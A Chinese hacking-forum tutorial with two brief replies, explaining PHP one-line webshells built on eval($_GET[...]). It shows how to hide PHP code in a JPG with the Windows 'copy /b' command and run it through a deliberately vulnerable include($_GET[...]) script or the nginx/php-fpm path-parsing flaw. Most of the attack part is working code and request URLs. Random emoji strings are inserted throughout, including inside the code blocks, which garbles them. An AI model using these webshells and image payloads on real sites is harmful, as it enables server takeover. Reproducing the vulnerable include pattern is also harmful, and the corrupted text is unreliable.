做不到的话,不过就是一死 。但是,赢了就能活下去,要是不战斗就赢不了。 收藏本站
登陆 / 注册 搜索

阅读:1.2万   回复: 2

什么是一句话(图片)木马 | 原理

原创 [复制链接]
小执念 古黑浩劫论坛大牛 2020-1-9 02:26 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
许多小伙伴可能听说过“一句话木马”这个名词,也见过一句话木马怎么写,但是就不知道为什么起作用。
别急,听我细细道来,怎么写,原理是什么都会讲清楚。

一、php 一句话是怎么运行的
🧑‍🎤‏🧦📞😒🤟
首先,建立一个 test.php 文件,里面写上

  1. <?php
  2. eval($_GET["shell"]);
  3. ?>
复制代码

👨‍⚕️‎💍🛋🙂💅



然后,访问 http://192.168.1.3/test.php?shell=phpinfo();

最后,出现 phpinfo() 的页面
👩‍✈️‎💄💾😅✋
什么是一句话(图片)木马 | 原理 234107joru3rthzrizzmq1.png

二、原理是什么

以这句代码为例
  1. eval($_GET["shell"]);
复制代码
🧒‌👗🔭🥰🙌

php 中的 eval 函数将接收一个字符串参数,并将这个字符串作为命令语句执行,上面的是 get 请求,post 请求也大同小异。还有其他请求也能做到,这里不过多介绍。

说人话就是 test.php?shell= 后面能执行 php 代码!

👁🚈🍌📳🐖‏

上面的代码你改为

  1. eval($_GET["xiaozhinian"]);
复制代码

然后访问
  1. test.php?xiaozhinian=echo(__DIR__);
复制代码
🧑‍⚕️‏💎🩸🤬✍

就会输出当前脚本所在的目录,和在 php 里面写一样。

什么是一句话(图片)木马 | 原理 Img-2.png
三、一句话图片木马是什么

🧓‏🪖🪗😚💪


很多网站是不能直接上传 php 文件的,但是能传图片,比如上传头像等。

先说说怎么制作吧。

1. windows cpoy 功能🧑‍🌾‍🧣🔑😶💪

准备两个文件:正常图片 1.jpg ,写有 php 代码的文件。

test.php 里面写上
  1. <?php
    👏🌦🍒♑🦟‍
  2. echo phpinfo();
  3. ?>
复制代码


然后使用 windows 的 cmd 命令
  1. copy 1.jpg/b + test.php/a 2.jpg
复制代码

🦴🚈🦀🅾🐡‎

这个命令实际上做的是:把 test.php 文件中的内容添加到 1.jpg 的末尾,其中 1.jpg 是以 2 进制打开的, test.php 是以文本(ascii)方式打开的。

然后生成一个 2.jpg 文件,带有 1.jpg 和 test.php 的内容:

什么是一句话(图片)木马 | 原理 Img-3.png
👨‍🚒‍🧥🏮😚👃
2.jpg 文件能正常打开,一般观察下和普通图片没什么两样,但是你用  16 进制软件打开,就会发现最底部有这样一句话:

什么是一句话(图片)木马 | 原理 Img-5.png

这里不得不说一点,计算机内部使用一个文件,并不是通过后缀名(.jpg/.php)来决定怎么运行的,而是根据里面写的内容来决定,使用后缀名只是为了方便人区分。

2. 使用 16 进制软件编辑👩‍👖🛋😫✌

原理和上面一样,都是在图片文件末尾加上 php 代码,但是不能加在中间或开头,会破坏原有图片内容,导致图片无法显示。

------沙雕分割线----

这里有个前提,如果要利用这个功能,还需要一个 文件包含 漏洞。这个漏洞可以是 php 代码漏洞,也可以是 nginx/php-fpm 漏洞/配置文件漏洞。

👨‍🚒‍💎🖌😀👁



我们先假设 php 代码漏洞存在,并向网站上传了一张带有 php 代码的图片 2.jpg

其中 test.php 关键漏洞代码为
👴‌🎒🎷😷✌
  1. <?php
  2. $file = $_GET['xiaozhinian'];
  3. echo $file;
  4. include($file);
  5. ?>
    🖕🗼🍌🆎🦚‏
复制代码

然后访问
  1. /test.php?xiaozhinian=2.jpg
复制代码

什么是一句话(图片)木马 | 原理 Img-7.png

2.jpg 里面的代码执行了

上面说的是 php 代码的漏洞,现在说说 nginx 和 php配置文件漏洞:

👄⛄🍏☣🦋‎访问
  1. /2.jpg/00000000000.php
复制代码


什么是一句话(图片)木马 | 原理 Img-8.png

2.jpg 里面的代码又被执行了

简单来说就是 php-fpm 找不到 00000000000.php ,然后就向前查找,把 2.jpg 当作 php文件 来访问。具体可以看 https://blog.csdn.net/wn314/article/details/77388289

👀🛩🍚ℹ🦮‍四、总结

这篇只讲关于一句话(图片)木马,并不打算讲具体什么情况下能利用,不是不想讲,而是要讲清楚的话,内容太多了

上一篇
下一篇

评分

参与人数 1成长值 +3 金币 +3 展开 理由
空谷幽兰 + 3 + 3 简单来说,这件事一点不简单。.

查看全部评分

帖子热度 1.2万 ℃

0猫小蛮0 「初入古黑」 2020-1-9 02:26 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

我不在江湖,但江湖中有我的传说;
👊🧳🍌🐒‍我身在江湖,江湖里却没有我得传说。
空谷幽兰 踏破虚空 2020-1-15 19:19 |显示全部楼层

从前车马很慢,书信很远,一生只够爱一个人,但是可以纳很多妾啊!

精华达人 主题破百 以坛为家 论坛元老 五周年纪念
感谢分享,说的通俗易懂
您需要登录后才可以回帖 登录 | 免费注册  

本版积分规则

快速回复 返回列表